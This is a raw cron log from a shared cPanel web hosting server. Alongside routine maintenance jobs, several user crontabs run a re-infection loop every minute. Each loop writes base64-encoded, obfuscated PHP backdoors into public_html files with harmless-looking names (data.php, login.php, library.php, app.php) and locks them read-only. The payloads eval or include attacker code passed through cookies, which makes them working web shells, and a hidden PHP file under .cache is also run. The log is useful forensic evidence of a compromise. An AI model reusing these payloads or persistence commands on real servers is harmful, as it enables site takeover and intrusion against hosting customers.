Mar  2 07:52:01 medusa CROND[1516]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:52:01 medusa CROND[1515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:52:01 medusa CROND[1518]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:52:01 medusa CROND[1525]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:53:01 medusa CROND[18469]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:53:01 medusa CROND[18661]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:53:01 medusa CROND[18662]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:53:01 medusa CROND[18664]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:53:01 medusa CROND[18663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:53:01 medusa CROND[18666]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:53:01 medusa CROND[18668]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:53:01 medusa CROND[18669]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:53:01 medusa CROND[18671]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:53:01 medusa CROND[18673]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:53:01 medusa CROND[18675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:53:01 medusa CROND[18678]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:54:01 medusa CROND[7214]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:54:01 medusa CROND[7314]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:54:01 medusa CROND[7409]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:54:01 medusa CROND[7413]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:54:01 medusa CROND[7412]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:54:01 medusa CROND[7417]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:54:01 medusa CROND[7422]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:54:01 medusa CROND[7418]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:54:01 medusa CROND[7423]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:54:01 medusa CROND[7424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:54:01 medusa CROND[7419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:54:01 medusa CROND[7425]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:54:01 medusa CROND[7415]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:55:01 medusa CROND[23144]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:55:01 medusa CROND[23154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:55:01 medusa CROND[23155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:55:01 medusa CROND[23424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:55:01 medusa CROND[23429]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:55:01 medusa CROND[23431]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:55:01 medusa CROND[23443]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
